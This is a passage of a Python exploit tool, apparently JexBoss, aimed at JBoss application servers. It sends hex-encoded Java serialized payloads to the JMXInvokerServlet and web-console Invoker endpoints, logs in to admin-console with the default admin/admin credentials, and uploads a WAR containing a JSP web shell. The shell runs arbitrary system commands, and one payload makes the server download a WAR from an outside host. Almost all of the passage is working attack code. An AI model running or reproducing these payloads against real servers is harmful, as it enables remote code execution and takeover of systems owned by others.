"\x68\x20\x3d\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61"
|
||||
"\x6d\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x3b\x20\x53\x74\x72\x69\x6e"
|
||||
"\x67\x20\x6c\x61\x73\x74\x48\x6f\x75\x72\x43\x68\x65\x63\x6b\x20\x3d\x20\x28"
|
||||
"\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x2e\x74\x6f\x53\x74\x72\x69\x6e\x67"
|
||||
"\x28\x29\x2e\x73\x70\x6c\x69\x74\x28\x22\x3a\x22\x29\x5b\x30\x5d\x2b\x22\x68"
|
||||
"\x2e\x6c\x6f\x67\x22\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x41\x6c\x6c\x28\x22"
|
||||
"\x20\x22\x2c\x20\x22\x2d\x22\x29\x3b\x20\x74\x72\x79\x7b\x20\x69\x66\x20\x28"
|
||||
"\x63\x68\x65\x63\x6b\x55\x70\x64\x61\x74\x65\x73\x20\x3d\x3d\x20\x74\x72\x75"
|
||||
"\x65\x29\x7b\x20\x63\x6f\x6e\x6e\x43\x68\x65\x63\x6b\x55\x70\x64\x61\x74\x65"
|
||||
"\x73\x2e\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x50\x72\x6f\x70\x65\x72\x74"
|
||||
"\x79\x28\x22\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x22\x2c\x20\x72\x65\x71"
|
||||
"\x75\x65\x73\x74\x2e\x67\x65\x74\x48\x65\x61\x64\x65\x72\x28\x22\x48\x6f\x73"
|
||||
"\x74\x22\x29\x2b\x22\x3c\x2d\x22\x2b\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65"
|
||||
"\x74\x52\x65\x6d\x6f\x74\x65\x41\x64\x64\x72\x28\x29\x29\x3b\x20\x69\x66\x20"
|
||||
"\x28\x21\x6e\x65\x77\x20\x46\x69\x6c\x65\x28\x22\x63\x68\x65\x63\x6b\x7a\x00"
|
||||
"\x00\x04\x00\x5f\x22\x2b\x6c\x61\x73\x74\x48\x6f\x75\x72\x43\x68\x65\x63\x6b"
|
||||
"\x29\x2e\x65\x78\x69\x73\x74\x73\x28\x29\x29\x7b\x20\x50\x72\x69\x6e\x74\x57"
|
||||
"\x72\x69\x74\x65\x72\x20\x77\x72\x69\x74\x65\x72\x20\x3d\x20\x6e\x65\x77\x20"
|
||||
"\x50\x72\x69\x6e\x74\x57\x72\x69\x74\x65\x72\x28\x22\x63\x68\x65\x63\x6b\x5f"
|
||||
"\x22\x2b\x6c\x61\x73\x74\x48\x6f\x75\x72\x43\x68\x65\x63\x6b\x29\x3b\x20\x77"
|
||||
"\x72\x69\x74\x65\x72\x2e\x63\x6c\x6f\x73\x65\x28\x29\x3b\x20\x62\x72\x20\x3d"
|
||||
"\x20\x6e\x65\x77\x20\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65\x72"
|
||||
"\x28\x6e\x65\x77\x20\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x52\x65\x61"
|
||||
"\x64\x65\x72\x28\x63\x6f\x6e\x6e\x43\x68\x65\x63\x6b\x55\x70\x64\x61\x74\x65"
|
||||
"\x73\x2e\x67\x65\x74\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29"
|
||||
"\x29\x3b\x20\x69\x6e\x74\x20\x6c\x61\x73\x74\x56\x65\x72\x73\x69\x6f\x6e\x20"
|
||||
"\x3d\x20\x49\x6e\x74\x65\x67\x65\x72\x2e\x70\x61\x72\x73\x65\x49\x6e\x74\x28"
|
||||
"\x62\x72\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x2e\x73\x70\x6c\x69\x74"
|
||||
"\x28\x22\x20\x22\x29\x5b\x31\x5d\x29\x3b\x20\x69\x66\x20\x28\x6c\x61\x73\x74"
|
||||
"\x56\x65\x72\x73\x69\x6f\x6e\x20\x3e\x20\x76\x65\x72\x73\x69\x6f\x6e\x29\x7b"
|
||||
"\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x28\x22\x50\x6c\x65\x61\x73\x65\x20"
|
||||
"\x6e\x6f\x74\x65\x3a\x20\x74\x68\x65\x72\x65\x20\x69\x73\x20\x61\x6e\x20\x75"
|
||||
"\x70\x64\x61\x74\x65\x20\x74\x6f\x20\x4a\x65\x78\x42\x6f\x73\x73\x20\x4a\x53"
|
||||
"\x50\x20\x57\x65\x62\x73\x68\x65\x6c\x6c\x2e\x20\x57\x65\x20\x72\x65\x63\x6f"
|
||||
"\x6d\x6d\x65\x6e\x64\x20\x74\x68\x61\x74\x20\x79\x6f\x75\x20\x72\x65\x72\x75"
|
||||
"\x6e\x20\x74\x68\x65\x20\x4a\x65\x78\x42\x6f\x73\x73\x20\x74\x6f\x20\x72\x65"
|
||||
"\x64\x65\x70\x6c\x6f\x79\x20\x74\x68\x65\x20\x6e\x65\x77\x20\x76\x65\x72\x73"
|
||||
"\x69\x6f\x6e\x20\x6f\x66\x20\x77\x65\x62\x73\x68\x65\x6c\x6c\x20\x69\x6e\x20"
|
||||
"\x4a\x42\x6f\x73\x73\x20\x73\x65\x72\x76\x65\x72\x20\x74\x65\x73\x74\x65\x64"
|
||||
"\x2e\x22\x29\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x69\x66\x20\x28\x73"
|
||||
"\x68\x2e\x63\x6f\x6e\x74\x61\x69\x6e\x73\x28\x22\x69\x64\x22\x29\x20\x7c\x7c"
|
||||
"\x20\x73\x68\x2e\x63\x6f\x6e\x74\x61\x69\x6e\x73\x28\x22\x69\x70\x63\x6f\x6e"
|
||||
"\x66\x69\x67\x22\x29\x29\x20\x7b\x20\x63\x6f\x6e\x6e\x43\x68\x65\x63\x6b\x55"
|
||||
"\x70\x64\x61\x74\x65\x73\x2e\x67\x65\x74\x49\x6e\x70\x75\x74\x53\x74\x72\x65"
|
||||
"\x61\x6d\x28\x29\x3b\x20\x7d\x20\x7d\x20\x7d\x20\x63\x61\x74\x63\x68\x28\x45"
|
||||
"\x78\x63\x65\x70\x74\x69\x6f\x6e\x20\x65\x29\x7b\x6f\x75\x74\x2e\x70\x72\x69"
|
||||
"\x6e\x74\x6c\x6e\x28\x22\x45\x72\x72\x6f\x72\x20\x63\x68\x65\x63\x6b\x69\x6e"
|
||||
"\x67\x20\x66\x6f\x72\x20\x75\x70\x64\x61\x74\x65\x73\x22\x29\x3b\x7d\x20\x74"
|
||||
"\x72\x79\x20\x7b\x20\x50\x72\x6f\x63\x65\x73\x73\x20\x70\x3b\x20\x69\x66\x20"
|
||||
"\x28\x53\x79\x73\x74\x65\x6d\x2e\x67\x65\x74\x50\x72\x6f\x70\x65\x72\x74\x79"
|
||||
"\x28\x22\x6f\x73\x2e\x6e\x61\x6d\x65\x22\x29\x2e\x74\x6f\x4c\x6f\x77\x65\x72"
|
||||
"\x43\x61\x73\x65\x28\x29\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x22\x77\x69\x6e"
|
||||
"\x22\x29\x20\x3e\x20\x30\x20\x7c\x7c\x20\x21\x53\x79\x73\x74\x65\x6d\x2e\x67"
|
||||
"\x65\x74\x50\x72\x6f\x70\x65\x72\x74\x79\x28\x22\x66\x69\x6c\x65\x2e\x73\x65"
|
||||
"\x70\x61\x72\x61\x74\x6f\x72\x22\x29\x2e\x65\x71\x75\x61\x6c\x73\x28\x22\x2f"
|
||||
"\x22\x29\x29\x7b\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65"
|
||||
"\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28\x22\x63\x6d"
|
||||
"\x64\x2e\x65\x78\x65\x20\x2f\x43\x20\x22\x2b\x73\x68\x29\x3b\x20\x7d\x20\x65"
|
||||
"\x6c\x73\x65\x20\x7b\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67"
|
||||
"\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28\x73\x68"
|
||||
"\x29\x3b\x20\x7d\x20\x62\x72\x20\x3d\x20\x6e\x65\x77\x20\x42\x75\x66\x66\x65"
|
||||
"\x72\x65\x64\x52\x65\x61\x64\x65\x72\x28\x6e\x65\x77\x20\x49\x6e\x70\x75\x74"
|
||||
"\x53\x74\x72\x65\x61\x6d\x52\x65\x61\x64\x65\x72\x28\x70\x2e\x67\x65\x74\x49"
|
||||
"\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29\x29\x3b\x20\x53\x74\x72"
|
||||
"\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x62\x72\x2e\x72\x65\x61\x64\x4c"
|
||||
"\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65\x20\x28\x64\x69\x73\x72\x20"
|
||||
"\x21\x3d\x20\x6e\x75\x6c\x6c\x29\x20\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e"
|
||||
"\x74\x6c\x6e\x28\x64\x69\x73\x72\x29\x3b\x20\x64\x69\x73\x72\x20\x3d\x20\x62"
|
||||
"\x72\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x7d\x20\x7d\x63\x61"
|
||||
"\x74\x77\xbc\x63\x68\x28\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x20\x65\x29\x20"
|
||||
"\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28\x22\x55\x6e\x6b\x6e"
|
||||
"\x6f\x77\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2e\x22\x29\x3b\x20\x7d\x20\x7d"
|
||||
"\x20\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x42\x6f"
|
||||
"\x6f\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee\x02\x00\x01\x5a\x00\x05"
|
||||
"\x76\x61\x6c\x75\x65\x78\x70\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e"
|
||||
"\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b"
|
||||
"\x47\x02\x00\x00\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c"
|
||||
"\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00\x7e\x00"
|
||||
"\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65\x61\x6e\x21\x96\x59"
|
||||
"\xec\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67"
|
||||
"\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49"
|
||||
"\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85"
|
||||
"\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00\x00"
|
||||
"\x04\x70\x78")
|
||||
|
||||
headers = {"Content-Type": "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",
|
||||
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
|
||||
r = pool.urlopen('POST', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
|
||||
result = r.status
|
||||
|
||||
if result == 401:
|
||||
print(" Retrying...")
|
||||
pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
|
||||
return get_successfully(url, "/jexinv3/jexinv3.jsp")
|
||||
|
||||
|
||||
def exploit_web_console_invoker(url):
|
||||
"""
|
||||
Exploits web console invoker
|
||||
Does not work in JBoss 5 (bug in JBoss5)
|
||||
:param url: The URL to exploit
|
||||
:return: The HTTP status code
|
||||
"""
|
||||
payload = (
|
||||
"\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e"
|
||||
"\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f"
|
||||
"\x74\x65\x4d\x42\x65\x61\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f"
|
||||
"\xa3\x7a\x74\xae\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e"
|
||||
"\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74"
|
||||
"\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73\x74\x00\x13\x5b\x4c"
|
||||
"\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x5b\x00"
|
||||
"\x09\x73\x69\x67\x6e\x61\x74\x75\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61"
|
||||
"\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72"
|
||||
"\x67\x65\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a\x61"
|
||||
"\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f\x4f\x62\x6a\x65"
|
||||
"\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06\x64\x65\x70\x6c\x6f\x79\x75"
|
||||
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65"
|
||||
"\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00"
|
||||
"\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25"
|
||||
"\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64"
|
||||
"\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74"
|
||||
"\x79\x71\x00\x7e\x00\x01\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x01\x4c"
|
||||
"\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x01\x4c\x00\x08\x70\x72\x6f\x74\x6f"
|
||||
"\x63\x6f\x6c\x71\x00\x7e\x00\x01\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x01"
|
||||
"\x78\x70\xff\xff\xff\xff\xff\xff\xff\xff\x74\x00\x0e\x6a\x6f\x61\x6f\x6d\x61"
|
||||
"\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x74\x00\x0f\x2f\x72\x6e\x70\x2f\x6a\x65\x78"
|
||||
"\x77\x73\x33\x2e\x77\x61\x72\x71\x00\x7e\x00\x0b\x74\x00\x04\x68\x74\x74\x70"
|
||||
"\x70\x78\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53"
|
||||
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70"
|
||||
"\x00\x00\x00\x01\x74\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c"
|
||||
"\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e"
|
||||
"\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15"
|
||||
"\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74"
|
||||
"\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c"
|
||||
"\x6f\x79\x65\x72\x78")
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",
|
||||
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
r = pool.urlopen('POST', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
|
||||
result = r.status
|
||||
if result == 401:
|
||||
print(" Retrying...")
|
||||
pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
|
||||
return get_successfully(url, "/jexws3/jexws3.jsp")
|
||||
|
||||
|
||||
def get_viewstat_admin_console(page):
|
||||
page = str(page).replace("\\n", "\n")
|
||||
for i in page.split('\n'):
|
||||
if 'javax.faces.ViewState' in i:
|
||||
if i.count('value') ==1:
|
||||
return i.split("value=\"")[1].split("\"")[0]
|
||||
else:
|
||||
return i.split("value=\"")[2].split("\"")[0]
|
||||
|
||||
|
||||
def get_boundary_admin_console(jboss_version, state, payload):
|
||||
|
||||
boundary = "-----------------------------8994251555011888521050172030\r\n"
|
||||
if jboss_version == 6:
|
||||
data = boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "createContentForm\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:file\"; filename=\"jexws3.war\"\r\n"
|
||||
data += "Content-Type: application/octet-stream\r\n"
|
||||
data += "\r\n"
|
||||
data += payload + "\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-0_328868266\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "false\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-0_-1257012452\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "false\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:addButton\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "Continue\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n"
|
||||
data += "\r\n"
|
||||
data += state + "\r\n"
|
||||
data += "-----------------------------8994251555011888521050172030--\r\n"
|
||||
return data
|
||||
elif jboss_version == 5:
|
||||
data = boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "createContentForm\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:file\"; filename=\"jexws3.war\"\r\n"
|
||||
data += "Content-Type: application/octet-stream\r\n"
|
||||
data += "\r\n"
|
||||
data += payload + "\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-1995377939_328868266\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "false\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"createContentForm:addButton\"\r\n"
|
||||
data += "\r\n"
|
||||
data += "Continue\r\n"
|
||||
data += boundary
|
||||
data += "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n"
|
||||
data += "\r\n"
|
||||
data += state + "\r\n"
|
||||
data += "-----------------------------8994251555011888521050172030--\r\n"
|
||||
return data
|
||||
|
||||
|
||||
def url_encode(text):
|
||||
if version_info[0] >= 3:
|
||||
return quote(text)
|
||||
else:
|
||||
return urllib.quote_plus(text)
|
||||
|
||||
|
||||
def exploit_admin_console(url):
|
||||
"""
|
||||
Exploits admin-console
|
||||
tested and works in JBoss 5 and 6
|
||||
:param url: The URL to exploit
|
||||
:return: The HTTP status code
|
||||
"""
|
||||
# Use default password for Jboss 5 and 6
|
||||
username = "admin"
|
||||
password = "admin"
|
||||
headers = {
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
|
||||
r = pool.request('GET', url+"/admin-console/login.seam", headers=headers)
|
||||
cookie = r.getheader('set-cookie').split(";")[0]
|
||||
headers['Cookie'] = cookie
|
||||
state = get_viewstat_admin_console(r.data)
|
||||
#payload = ("login_form=login_form&login_form:name=%s&login_form:password=%s&login_form:submit=Login"
|
||||
# "&javax.faces.ViewState=%s" % (username, password, state))
|
||||
payload = "login_form=login_form&login_form%3Aname="+username+"&login_form%3Apassword="+password+"&login_form%3Asubmit=Login&javax.faces.ViewState="+url_encode(state)
|
||||
headers['Content-Type'] = "application/x-www-form-urlencoded"
|
||||
print(GREEN + "\n * Info: Trying to perform authentication with default credentials..." +ENDC)
|
||||
r = pool.request('POST', url+"/admin-console/login.seam", body=payload, headers=headers, redirect=False)
|
||||
state = get_viewstat_admin_console(r.data)
|
||||
if r.status == 302:
|
||||
print(GREEN + " * Info: Successfully logged in! Wait..." + ENDC)
|
||||
location = r.getheader('Location')
|
||||
conversation_id = location.split('=')[1]
|
||||
r = pool.request('GET', location, headers=headers)
|
||||
if state == None:
|
||||
sleep(7)
|
||||
r = pool.request('GET', url+"/admin-console/secure/summary.seam?path=-3%2FApplications%2FWeb+Application+%28WAR"
|
||||
"%29&conversationId="+conversation_id+"&conversationPropagation=end", headers=headers)
|
||||
conversation_id = str(int(conversation_id)+1)
|
||||
r = pool.request('GET', url+"/admin-console/secure/resourceTypeSummary.seam?actionMethod=secure%2FresourceType"
|
||||
"Summary.xhtml%3AcreateContentBackedResourceAction.init%28%29&conversationId="
|
||||
+ conversation_id, headers=headers)
|
||||
state = get_viewstat_admin_console(r.data)
|
||||
|
||||
headers['Content-Type'] = "multipart/form-data; boundary=---------------------------8994251555011888521050172030"
|
||||
|
||||
payload = ("\x50\x4b\x03\x04\x14\x00\x08\x08\x08\x00\x6d\x7c\x98\x48\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x04\x00\x4d\x45\x54\x41\x2d\x49\x4e"
|
||||
"\x46\x2f\xfe\xca\x00\x00\x03\x00\x50\x4b\x07\x08\x00\x00\x00\x00\x02\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x08\x08\x08\x00\x6d\x7c\x98\x48"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x4d\x45\x54"
|
||||
"\x41\x2d\x49\x4e\x46\x2f\x4d\x41\x4e\x49\x46\x45\x53\x54\x2e\x4d\x46\xf3\x4d"
|
||||
"\xcc\xcb\x4c\x4b\x2d\x2e\xd1\x0d\x4b\x2d\x2a\xce\xcc\xcf\xb3\x52\x30\xd4\x33"
|
||||
"\xe0\xe5\x72\x2e\x4a\x4d\x2c\x49\x4d\xd1\x75\xaa\x04\x09\x58\xe8\x19\xc4\x9b"
|
||||
"\x9b\x2b\x68\xf8\x17\x25\x26\xe7\xa4\x2a\x38\xe7\x17\x15\xe4\x17\x25\x96\x00"
|
||||
"\x95\x6b\xf2\x72\xf1\x72\x01\x00\x50\x4b\x07\x08\x05\xa0\x0e\xbc\x43\x00\x00"
|
||||
"\x00\x44\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x08\x08\x08\x00\x68\x7c\x98\x48"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x6a\x65\x78"
|
||||
"\x77\x73\x33\x2e\x6a\x73\x70\x95\x55\x5f\x6f\x1a\x39\x10\x7f\xbf\x4f\x31\xb1"
|
||||
"\x94\xca\x94\xb2\xb4\xba\x97\x53\x08\xd1\xa5\xb9\x54\x69\x14\xe9\x22\x52\xae"
|
||||
"\x0f\xa7\xaa\x32\xbb\x03\xeb\x74\xd7\xf6\xd9\xb3\x05\x94\xf2\xdd\x6f\xec\x05"
|
||||
"\x02\x85\x6b\x75\x2f\xbb\xc6\x33\x9e\x9d\xf9\xfd\x31\xe7\xa7\xbf\x83\x53\x33"
|
||||
"\x04\x5d\x3b\xeb\x69\x28\x1e\xd5\x57\x95\x35\xa4\xab\xec\xe5\xab\xb4\xd6\x96"
|
||||
"\x57\x90\x96\x06\x29\x7b\x29\x52\xfe\xb5\xc9\x6d\xa1\xcd\x6c\x28\xc6\x1f\xde"
|
||||
"\xf5\x7e\x13\xa7\x17\x70\xee\x3c\xf2\xf3\x14\xb4\x21\xf8\x8a\x3e\x68\x6b\x60"
|
||||
"\x08\xbf\x0e\x40\x4f\x41\x7a\xfc\xa7\xc1\x40\xd9\x0c\xe9\x5e\x79\x55\x23\xa1"
|
||||
"\x97\xc2\x39\x27\x3a\x70\x32\x04\xd3\x54\x55\x07\x9e\x60\x62\x6d\x85\xca\x40"
|
||||
"\x5e\x62\xfe\x65\xec\x0a\x45\x18\x06\x70\x43\xe4\xc6\xa3\xbb\x2b\x6b\x0c\xe6"
|
||||
"\x14\xeb\xe6\xbc\xbc\xda\xc9\x81\xb6\xc4\x00\xde\x36\xd3\x29\x7a\x2c\x46\xa8"
|
||||
"\x0a\xf4\x30\xf1\xdb\x88\xc7\xe0\xac\x09\x98\x05\x24\xae\x44\x68\xe8\xc3\xd2"
|
||||
"\xa1\x14\x84\x0b\xea\x97\x54\x57\xa2\x73\xd0\xeb\x4d\x2a\x23\x45\xea\xa7\xd7"
|
||||
"\xb4\x1f\x7b\x6e\x19\x5e\xbc\x80\x9f\x67\x67\x9c\xa1\xaa\x20\xc5\x94\x9f\x28"
|
||||
"\x3a\x9d\xa7\xbd\xf9\xb8\xc3\x14\x18\xc0\x0a\xf9\x05\x07\x51\xf2\x0d\x07\x8f"
|
||||
"\x8c\x2c\x0f\x80\xe9\x80\xc1\x39\xf0\x96\x14\x25\xc7\xce\xfa\xfd\x39\x4e\x42"
|
||||
"\x89\x55\x95\x3d\xe2\x62\x62\x43\x88\x2c\xf6\x1f\x83\xfb\xbc\xa6\x28\xa3\x05"
|
||||
"\x71\x8b\xd6\xa1\x79\x2e\x23\x19\x89\x15\x3c\x90\x67\x8a\x21\x94\xfc\xa9\x1f"
|
||||
"\xf0\x37\xd8\x24\x56\x2a\xd0\x8d\x6d\x7c\xea\x32\xb6\x17\x7b\xf9\x83\x7b\x95"
|
||||
"\x9d\x8c\x6c\x9b\xc4\xcb\xe0\x2a\x4d\x52\x9c\x89\xce\xdf\xaf\x3f\x75\x45\x99"
|
||||
"\x55\x76\xc6\x1d\x78\x74\x95\xca\xf1\xb2\xaa\xa4\x00\xf1\x0a\x44\x2f\x96\x26"
|
||||
"\xbf\x7c\x4a\xa4\xec\x63\xd2\x82\x12\x81\xfc\x0e\x95\xc8\xee\xa8\xed\xf5\xde"
|
||||
"\xf3\x50\x9e\x96\x52\x8c\x03\xfa\xde\xe5\x8c\x19\xe7\xba\x47\xf8\xba\xb1\x81"
|
||||
"\x31\xe8\x8a\xf3\x9e\xe8\xee\x84\x47\x58\x5b\xc2\xcb\xa2\xf0\xb2\xb3\x96\xc6"
|
||||
"\x49\x1c\xe9\x9d\xae\x70\x4d\xf2\x67\xd1\xdd\x9b\x9a\xb9\x5e\xe8\x40\x41\x46"
|
||||
"\x92\xef\x79\x60\xfa\xe8\x35\x43\x05\xf3\xf6\x35\x4c\xfc\xec\x04\xfe\xab\xce"
|
||||
"\x60\x7d\x22\xcb\x2b\x1b\x30\xf2\x31\xd9\x9c\xde\x97\x78\x02\xf9\xbd\x71\x0d"
|
||||
"\x31\xc0\xa8\xea\xf5\xee\x01\x2e\x3c\xcf\x4e\x16\xf7\x17\x27\x62\xa7\xc6\xcf"
|
||||
"\xfe\xb5\x75\xeb\x7b\xf6\xc5\x8c\xbf\xea\x94\x0f\xc8\x3f\xe4\xc4\x33\x31\xaa"
|
||||
"\xb8\xd3\x06\x9f\xa9\x03\xa6\xee\xcd\xa7\x35\x24\xbb\x05\x2e\x36\xc6\xe7\xe9"
|
||||
"\x6d\x43\x99\x8b\x83\x4a\x71\xcf\x9e\x66\x61\x1b\x46\xf3\x0c\xa8\xe4\xe6\x41"
|
||||
"\x07\x60\x9b\xb7\x16\x01\xb2\x70\x8b\x8b\xb7\xac\x4e\xb8\x7d\xb8\x87\x8f\x1b"
|
||||
"\xc9\xf2\x8a\xe9\xca\x6d\x5d\xa3\x29\xf8\xa0\x22\x58\xda\x86\xb7\x7c\x63\x62"
|
||||
"\x9d\xed\x29\x2e\xc0\x80\xb0\x80\xec\x32\xed\x47\x4c\x36\x57\x90\x9d\xc2\xc6"
|
||||
"\x03\x3c\x30\xdc\xa6\x03\x2c\x08\x8e\x03\x03\x43\x58\x64\x22\xc9\x7d\x05\xc9"
|
||||
"\x7e\x71\xa6\x50\x66\x0c\x20\x29\x6d\xd8\xb5\xba\x60\xc3\x7f\xfb\x06\xfb\x9b"
|
||||
"\x8e\xd7\x53\xcd\xc2\x8d\xd7\xd6\x4f\xd1\x6e\xeb\xaf\x20\x57\x94\x97\xf2\x7a"
|
||||
